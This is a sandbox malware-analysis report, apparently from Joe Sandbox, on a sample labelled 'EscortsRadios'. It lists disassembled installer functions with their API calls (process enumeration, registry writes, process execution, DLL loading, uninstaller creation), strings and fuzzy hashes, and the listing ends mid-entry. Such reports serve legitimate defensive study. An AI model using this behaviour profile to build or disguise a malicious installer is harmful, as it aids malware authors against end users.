Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

Kernel32.DLL, xrefs: 0040659B
Module32FirstW, xrefs: 004065D3
Unknown, xrefs: 004064FC
Process32NextW, xrefs: 004065C8
Process32FirstW, xrefs: 004065BD
CreateToolhelp32Snapshot, xrefs: 004065B5
Module32NextW, xrefs: 004065DE
EnumProcesses, xrefs: 00406482
GetModuleBaseNameW, xrefs: 00406494
EnumProcessModules, xrefs: 0040648A
PSAPI.DLL, xrefs: 00406464

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

open, xrefs: 004042DF
@%F, xrefs: 004042A7
N, xrefs: 0040426C

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

NUL, xrefs: 00406A9E
[Rename], xrefs: 00406BC8, 00406BD7
F, xrefs: 00406AE8
%s=%s, xrefs: 00406B43

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: %s not found in %s, xrefs: 0040249A

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: success ("%s"), xrefs: 00402263
Exec: command="%s", xrefs: 00402241

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
